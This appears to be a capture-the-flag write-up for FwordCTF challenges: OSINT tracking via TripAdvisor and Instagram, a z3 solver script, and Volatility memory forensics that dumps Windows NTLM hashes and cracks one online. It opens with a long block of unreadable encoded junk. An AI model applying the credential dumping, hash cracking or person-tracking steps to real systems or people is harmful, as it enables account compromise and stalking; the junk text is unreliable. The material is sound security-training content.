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Having this image, I tried to EXIF it, I tried to search it using the free available reverse image search websites used for OSINT (Google, Bing, Yandex, Tineye) but I was always failing.
Seeing the image it looks like it was shared in a social media network but since we know that not all the shared images are indexed by the search engines so this makes sense. And that's why this part was the most difficult part for me.
And that's where comes the Google dorks tricks. The only thing that we know about this image apart the fact that it seems to be shared on a social media network is it was promoting Hilton hotel.
So by searching for any relation between Eword and Hilton hotel, we can find something that can lead us to the Eword leader.
I tried several search queries until I was satisfied with this one: ``"eword" hilton hotel``.
I accessed that [link](https://www.tripadvisor.com/Hotel_Review-g304088-d600703-Reviews-Hilton_Podgorica_Crna_Gora-Podgorica_Podgorica_Municipality.html) and I searched for that review.
Someone with the name `Wokaihwokomas Kustermann` wrote that feedback on 26/08/2020 which matches with the task time range.
I inspected his profile to make sure I'll not be missing anything.
I found that he was recommending to check his instagram profile.
So, by searching for `Wokaihwokomas Kustermann` on Instagram, I found his profile: [https://www.instagram.com/wokaihwokomaskustermann/](https://www.instagram.com/wokaihwokomaskustermann/)
There was only a shared story that is identical to the image that we were searching for.
In this step, I was stuck again with no other hint because we don't know whether another detail was removed or how can we find the flag until I found that there was another story that I was missing after watching the first story.
Knowing that the user mentioned about a square shaped image and that the Instagram was only showing circular shaped images, I thought about inspecting the image using the Browser's inspection tools (right click -> inspect the element -> select the image -> see the source code of that image -> retrieve the image link -> open it in a new tab).
After doing this, I found the square shaped image.
And the flag was in the part of the image that was hidden by the circule. But the actual image was small. So after failing to retrieve a bigger image by tweaking the URL, I asked Google for a website that retrieve the Instagram profile image in HD. And that's how I found [http://izuum.com/index.php](http://izuum.com/index.php).
I used the Instagram username `wokaihwokomaskustermann` to search for that user.
And the website got me a great HD image.
Full image:
So the flag is : ```Eword{c0ngraAatulationZzZz_aNd_w3lCom3_to_Eword_Team_!}```___
## Secret Array
**Category:** Misc**Points:** 283**Author:** KOOLI**Description:**
> ``nc secretarray.fword.wtf 1337``
**Hint:**
>(no hint)
### Write-up
When we execute that command we will get the following output:
```[x] Opening connection to secretarray.fword.wtf on port 1337[x] Opening connection to secretarray.fword.wtf on port 1337: Trying 3.208.42.57[+] Opening connection to secretarray.fword.wtf on port 1337: Done
I have a 1337 long array of secret positive integers. The only information I can provide is the sum of two elements. You can ask for that sum up to 1337 times by specifing two different indices in the array.
[!] - Your request should be in this format : "i j". In this case, I'll respond by arr[i]+arr[j]
[!] - Once you figure out my secret array, you should send a request in this format: "DONE arr[0] arr[1] ... arr[1336]"
[*] - Note 1: If you guessed my array before 1337 requests, you can directly send your DONE request.[*] - Note 2: The DONE request doesn't count in the 1337 requests you are permitted to do.[*] - Note 3: Once you submit a DONE request, the program will verify your array, give you the flag if it's a correct guess, then automatically exit.
START:```
The first thing I thought about was to find how much requests do we need to send to the service to be able to solve the problem and then we need to find how we can do this with coding.
For the problem resolution, I though about an array of 4 elements "a0 a1 a2 a3".
To get the values of each element using sum, we need 4 operations as follow:
```a0 + a1 = x1a1 + a2 = x2a2 + a3 = x3a3 + a0 = x4```
Where x1, x2, x3, x4 are known since the service is returning the sum value of the 2 indexes's values.
I tried to solve this issue as a system of 4 equations using substitution but I failed since I found 2 unknown elements instead of 1. But hopefully my friend Likkrid gave me a better solution which is solving this system using subtraction and it was successful to identify the 4 element's values.
Now, coming to the implementation of this solution, also my friend Likkrid recommended me the usage of Z3Py Python's library to solve the system of 1337 equations after retrieving the 1337 sums from ``a0 + a1 = x1`` until ``a1336 + a0 = x1337``.
The python script is available here for download: [solver.py](resources/misc-283-secret_array/solver.py).
```python#!/usr/bin/python
from pwn import *import z3import time
r = remote('secretarray.fword.wtf', 1337)s=z3.Solver()print r.recv(1024).decode()for i in range(0,1337): print i if i<1336: #print "send",str(i)+" "+str(i+1) r.send(str(i)+" "+str(i+1)+"\n") time.sleep(0.3) result=r.recv(1024).strip() exec("a"+str(i)+" = z3.Int('a"+str(i)+"')") exec("a"+str(i+1)+" = z3.Int('a"+str(i+1)+"')") #print "a"+str(i)+"+a"+str(i+1)+"=="+(result if result else "0") s.add(eval("a"+str(i))+eval("a"+str(i+1))==(result if result else "0")) else: #print "send",str(i)+" 0" r.send(str(i)+" 0\n") result=r.recv(1024).strip() exec("a"+str(i)+" = z3.Int('a"+str(i)+"')") #print "a"+str(i)+"+a0=="+(result if result else "0") s.add(eval("a"+str(i))+a0==(result if result else "0"))
s.check()#print smodel=s.model()results="DONE"#print "model",s.model()for i in range(0,1337): for j in model: if str(j)=="a"+str(i): #print "a"+str(i),str(int(s.model()[j].as_string())) results=results+" "+str(int(s.model()[j].as_string())) break
print results.strip()print "length of the solved system:",len(model)print "length of the array's results:",(len(results.strip().split(" "))-1)r.sendline(results.strip())time.sleep(1)print r.recv(1024)time.sleep(1)print r.recv(1024)```
There was only one trick that took too much time for me since I was used to work with the socket module, when I switched to use the pwn library I though that I don't need to make a time.sleep() for some milliseconds between the send and the receive methods but I was wrong because I executed the script from my VPS and the execution was fast and then if I don't wait for few milliseconds, the response will be empty which is wrong because the sum of two values can't be empty.
Execution:
```pip install z3python resources/misc-283-secret_array/solver.py```
Output:
```[x] Opening connection to secretarray.fword.wtf on port 1337[x] Opening connection to secretarray.fword.wtf on port 1337: Trying 3.208.42.57[+] Opening connection to secretarray.fword.wtf on port 1337: Done
I have a 1337 long array of secret positive integers. The only information I can provide is the sum of two elements. You can ask for that sum up to 1337 times by specifing two different indices in the array.
[!] - Your request should be in this format : "i j". In this case, I'll respond by arr[i]+arr[j]
[!] - Once you figure out my secret array, you should send a request in this format: "DONE arr[0] arr[1] ... arr[1336]"
[*] - Note 1: If you guessed my array before 1337 requests, you can directly send your DONE request.[*] - Note 2: The DONE request doesn't count in the 1337 requests you are permitted to do.[*] - Note 3: Once you submit a DONE request, the program will verify your array, give you the flag if it's a correct guess, then automatically exit.
START:
DONE 882074565321339936426015270379 237041015714489603612749676508 735942283250970902894619135353 769570036365545998247560462307 358093366869922753604064191300 846812717969782586805050398135 771379174273997375923375988136 845526135789468431659086245474 477791916351688485715808163421 930800022720554491827637381853 999680091758310368643053583247 185945425567046216916616774069 548193655183144633560074943563 163752110560858844552559735982 809842278452854024213944401092 63126344576603515440990266173 536350367473602539710322449253 525462551993088197896204616527 26019307559619217233165889413 678246541222209847683426708404 167054566499878283767854112298 916863491983612669627714467522 866512119618168022431575287281 770282663120238719909449412558 17698011785127051934722174676 506436276178844828479355460241 364507445837389480829388693850 478243457358118782184551240191 362975449994850307878734077277 79416040862228597622670674493 699077959961321297097958555541 130680171721974811938831602523 722515733623057407531977068408 107110915537337340060758847050 871110456327373561058599133909 611700338371288519255305243723 112673304125406355771774003309 762357586707245483109415383542 473037716896162891865834111648 740988990443440669824613608664 132974380384295544030922942914 346655317633097728910436731104 614175703481719543947471337448 940327256050181059304565050028 92945322674000115891190969652 756956538466667341515036830304 977968684457121762228769933357 598942068709425688550258832779 324906743907409720909632527601 909377161189362510289040596381 593442764175779833425616880670 561516492415921938020525334341 299753763953982600112038009288 197202020200224694235915672845 37794227392414548309250547977 281027881570422623221283625822 799204368907457904727116559248 715428685855001604030787325645 309449422141621428318215223454 779861727503038071427138491191 230630241891245494630102199976 9049080132892488645574763422 786762453386287856472273846665 137406037157133043239611688883 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822375043495619761944861519972 663938619063978495874534834345 40184497331922613496528896982 96651341380806265055474742874 569211944761523188530335729078 971491789720261837699473149857 254033039225053644540777318794 371156987971994144222102427298 552233116200014493678918980023 295459004571278043471775113460 950978351365370226190276337993 981972113953125635095554684819 613392171688095343155266810068 988275256454056707386297496228 919910555715929711990294816395 331680416523012150626813995335 963232569635654894073660210351 378461391306022088434725883167 316219840943194091938654131212 157512800707788303899932151960 793462598722149854189459084942 256099570333236145647875306720 238058337137510317129380168362 242947508893064843775147012487 355320875075702456560544935910 471720331065228718591151571789 856169934005128050600519143797 762370916267869447841214329775 993497962482866211028442298733 518561856792546361582760006136 934075525612376978469662883465 160688877960374040067371985843 973542555968500011203270234868 88513080626526601524818265680 833399114577064164200268563963 232543573511967780353703533171 455181386149195687299712226144 308446550861526289691728628362 99683459694801711581944899388 222369143008725108925087195114 226219048896373494184984854648 817515322505071092635037120986 899693382866294023980688240950 731109737363403999778146313080 11585470531432868034409927654 136721108925187832179663343748 218878454138049014632641644208 45104610801363569584573818024 851638154958299987223574979535 935787731071096314044356630936 199344643203186247839062040378 350298114459809030350407362547 651368717836769007386669135246 13028300112227873068369382521 649389926758277386390477590247 716694316274712481603063809528 767497805573565697452081904246 859594127311603453471419870328 276718585843138550045242482694 270621350223690805039458346945 882851846997715676030915445671 147005932316573640625222262011 962516221675048249633600651629 142999206798927755202714417658 338200118833517293913753254916 353098332975450794695193115 639478587546889035706931903789 366145572990290817504253243808 236859816134096904531980956369 620301594115009808900583045657 564535132847643655642550460388 811156700605859198651865779342 108904490543477846116268259176 274369000018543911083971966870 211342207540341813623129073575 836568815727517896518486764181 884348990498573834839211617570 593425938551729097391923014648 411037282463745057638164724823 600542128338055767718737414543 619640229138641535067155175976 731138028985627775699092095137 246193990179001270376162138712 208483119190770132573196314847 60591061497789870188479749934 436255610130837936459965578659 219743496983603140147945414467 744434158934620122833172608058 297791851944965194060885237858 848171872645101850536943202147 691230917428178059150656826222 331920949616804993977431744890 188990626823473771669970835999 853999549222615574184160676988 426581830899883056330939694164 545850379624256644845417041609 206898714949998847882049316749 600922036266170588860811406626 445002578839372149073202934779 755505079281341703455242086034 554606046321292646018328308518 491410644121221167022973999466 886696421014164059657453156938 576684874184284920761216930687 28114959744965733022489049473 659371544578249015018260378126 686436413399263391028400347672 771582766634625860183378734250 43329803301088231785420738668 789390880428603995835220996975 95843761289134737380026726699 607657307608983959987793684791 763121036629216863027308575507 695752976863908234000425941210 183999126076091342937557825072 186793675528356887821897344540 631935025165038205571818923602 383364014052929057642436213844 621462173523727407826051431420 700856283608651796441558150148 679621261248938156795682471846 600889020839385789386043404419 703498046477358151065837099150 314309051704298644258317809945 967436130406043633721122296572 676212954323956018309058930527 4547530505855250748483917847 100983845147693432085059458528 339251519149008894109778821343 934807106956215360626560110582 594674598731630275002896465473 770757954082647400726968112798 830319874196252178510311404372 377307643453627105959902092172 206638680410448733374377548806 543720335249845648279763661454 575989636871937725494011151161 993996327375586192236148860884 577478486887548168530074351040 114525249759655970691246808929 212383832894687559057036388929 527304494711982532132925552980 575980820709482598803802344541 534140669749849341436494824420 498999534125566963963524431887 660323975112393443004221199345 136629325692913249617390911371 856225685842457891207581210261 382236217025931865524266457446 916981812634971935362102424803 650983817935982166075501250565 520076012018861617944862841325 568070785815492613119797767124 929426002688656730578655495848 388641364576174208975578118486 754288805782329904072629271858 7539529998150599043771503290 515315771436238056833360898841 635826131846738367904626878837 129977530055197841755264624480 770035583613709893150835726905 95291150541467317217156613056 896815536680583446585133872931 688305357073982731630616328867 820844341017741039208950587295 104243593710255300826694436541 770267178982348671718915014437 524817130634272459917249808264 881596592942006529423155080660 460809554977471557874987038531 552203073934971154805289618652 285558583844299518782868746962 771687664263005438473545038546 309699046605439403872809056495 87421934777919000650262780503 460648873139398989670353918314 303755726335676951211719118271 642134713029850585247460120104 994587367824415577394910764431 610301661262474430002645397045 581907927596193338287675038489 263071432306564437305700089331 1323602499525101762283093077 238040809388633067114571632443 750262249497683926277729712036length of the solved system: 1337length of the array's results: 1337
Congratualtions! You guessed my secret array, here is your flag: FwordCTF{it_s_all_about_the_math}```
So, the flag is ```FwordCTF{it_s_all_about_the_math}```___
## Memory
**Category:** Forensics**Points:** 73**Author:** SemahBA & KOOLI**Description:**
> Flag is : FwordCTF{computername_user_password}
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
In this task, we have a memory dump that we need to analyze in order to get the flag according to what the author needs.
Before starting this task, we have to extract the memory dump from the compressed file using `7z e foren.7z` and we will work on the extracted file `foren.raw`.
The first thing that we need to do when analyzing an unknown memory dump is to identify its profile.
```volatility -f foren.raw imageinfo```
Output:
```Volatility Foundation Volatility Framework 2.6INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/root/fword/foren.raw) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002c48120L Number of Processors : 4 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002c4a000L KPCR for CPU 1 : 0xfffff88002f00000L KPCR for CPU 2 : 0xfffff88002f7d000L KPCR for CPU 3 : 0xfffff880009af000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2020-08-26 09:22:27 UTC+0000 Image local date and time : 2020-08-26 02:22:27 -0700```
There was multiple suggested profiles but I picked one of them which is `Win7SP0x64`.
Personally, I followed this tutorial for the first part of this task to identify the hostname just to avoid taking the full credits for solving this task: [Volatility/Retrieve-hostname](https://www.aldeid.com/wiki/Volatility/Retrieve-hostname).
By following the previous tutorial, we need to list the hives of that memory dump in order to use the right offset to extract the hostname.
```volatility -f foren.raw --profile=Win7SP0x64 hivelist```
Output:```Volatility Foundation Volatility Framework 2.6Virtual Physical Name------------------ ------------------ ----0xfffff8a000b0f410 0x000000002720d410 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT0xfffff8a000d00010 0x000000001ff75010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT0xfffff8a000f8b410 0x00000000175e8410 \??\C:\Windows\System32\config\COMPONENTS0xfffff8a00145f010 0x0000000027d9b010 \SystemRoot\System32\Config\DEFAULT0xfffff8a0014da410 0x00000000275c0410 \SystemRoot\System32\Config\SAM0xfffff8a0033fe410 0x0000000069de6410 \??\C:\Users\SBA_AK\ntuser.dat0xfffff8a0036e7010 0x0000000069188010 \??\C:\Users\SBA_AK\AppData\Local\Microsoft\Windows\UsrClass.dat0xfffff8a0038fe280 0x0000000068390280 \??\C:\System Volume Information\Syscache.hve0xfffff8a00000f010 0x000000002cfef010 [no name]0xfffff8a000024010 0x000000002d07a010 \REGISTRY\MACHINE\SYSTEM0xfffff8a000058010 0x000000002d3ae010 \REGISTRY\MACHINE\HARDWARE0xfffff8a000846010 0x000000002a0e9010 \Device\HarddiskVolume1\Boot\BCD0xfffff8a000873010 0x0000000013880010 \SystemRoot\System32\Config\SOFTWARE0xfffff8a000ab8010 0x0000000027455010 \SystemRoot\System32\Config\SECURITY```
As we can see the `\REGISTRY\MACHINE\SYSTEM` is located on `0xfffff8a000024010`.
We will use the Virtual address offset as a reference to extract the registry key value that contains the machine hostname.
```volatility -f foren.raw --profile=Win7SP0x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ComputerName'```
Output:
```Volatility Foundation Volatility Framework 2.6Legend: (S) = Stable (V) = Volatile
----------------------------Registry: \REGISTRY\MACHINE\SYSTEMKey name: ComputerName (S)Last updated: 2020-08-25 16:20:54 UTC+0000
Subkeys:
Values:REG_SZ : (S) mnmsrvcREG_SZ ComputerName : (S) FORENWARMUP```
So, the hostname is `FORENWARMUP`.
But we still have 2 other parts to extract which are the username and his password.
And also for the next steps, I followed the following tutorial to do this: [Volatility/Retrieve-password](https://www.aldeid.com/wiki/Volatility/Retrieve-password)
And the missing step was obvious because the user's hashes are stored in the `\SystemRoot\System32\Config\SAM` file.
```volatility -f foren.raw --profile=Win7SP0x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a0014da410```
Output:
```Volatility Foundation Volatility Framework 2.6Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::fwordCTF:1000:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:514fab8ac8174851bfc79d9a205a939f:::SBA_AK:1004:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::```
And that's how we get the usernames and their password's NTLM hash that need to be cracked.
The first time, I though the user that we are searching for is `fwordCTF`. So, I cracked his password using [https://crackstation.net/](https://crackstation.net/).
Input: `a9fdfa038c4b75ebc76dc855dd74f0da`
So, the password is `password123`.
But since the flag ``FwordCTF{FORENWARMUP_fwordCTF_password123}`` doesn't work, I double remembered that in the output of ``volatility -f foren.raw --profile=Win7SP0x64 hivelist``, there was the only available user that is located under `\??\C:\Users\` is `SBA_AK` which could be the real user that we are looking for because SBA and AK are the acronyms of the 2 authors of this task. And since both the users `fwordCTF` and `SBA_AK` have the same NTLM hash, I tried the following flag and it worked.
So, the flag is ```FwordCTF{FORENWARMUP_SBA_AK_password123}```___
## Memory 2
**Category:** Forensics**Points:** 379**Author:** Semah BA & KOOLI**Description:**
> I had a secret conversation with my friend on internet. On which channel were we chatting?
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory`, in this task we have to find the channel where the author had a secret chat conversation with his friend.
This reminded me to inspect the processes list and to check which process seems to be used for chatting (obviously a web browser) and then to retrieve the channel from there.
I found a useful tutorial for few commands that I needed to list the captured processes: [First steps to volatile memory analysis](https://medium.com/@zemelusa/first-steps-to-volatile-memory-analysis-dcbd4d2d56a1).
I tried the following command.
```volatility -f foren.raw --profile=Win7SP0x64 pstree```
Output:
